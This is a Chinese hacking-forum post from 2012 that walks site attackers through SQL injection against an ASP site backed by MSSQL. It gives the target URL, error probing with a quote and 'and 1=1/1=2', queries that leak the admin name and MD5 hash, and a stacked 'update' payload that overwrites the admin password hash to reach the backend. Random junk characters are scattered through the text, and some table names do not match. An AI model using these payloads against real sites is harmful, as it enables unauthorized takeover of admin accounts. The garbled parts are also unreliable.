经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。
, f" p# D3 G9 d9 _' ~可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
7 g. _ E2 z* J) _测试如下：
" @; N8 L {) r# q/ p" p% Ghttp://www.tmdsb.com/news.asp?id=121
+ B; N, B' O L& C( z. e( R5 E5 X在地址后输入单引号，显示: D! v5 |8 T% \6 `, a1 G
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
; b z+ O, c# j% o, f( d, ?3 G字符串 ’’’ 之前有未闭合的引号
- e- ]4 v+ J4 Z3 N: _" d4 O- W/news/tmdws.asp，行63/ k+ O, G( A. V$ Z* n
说明没有过滤单引号且数据库是MSSQL.
& m c3 C* y2 y9 J# M* t) yand 1=1正常。and 1=2出错。肯定存在注入 G% j1 @0 D# @3 Q* A: J
接着输入# `* c' E$ x* r- N- H* ]3 N; N
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)& C9 `; }0 n/ V7 O1 O6 c
得到帐号为:admin. y' b/ U5 O) E( J
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin); w6 c! H+ [5 h
得到密码为:a4716077c2ba075c
/ h: ` U2 F A' T( \接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f294337 ~! }$ o; `; F1 c0 K. J
命令如下 :. l4 ]6 E' V6 P. U% N9 c5 l
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
4 U4 q% `# K& k9 {这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41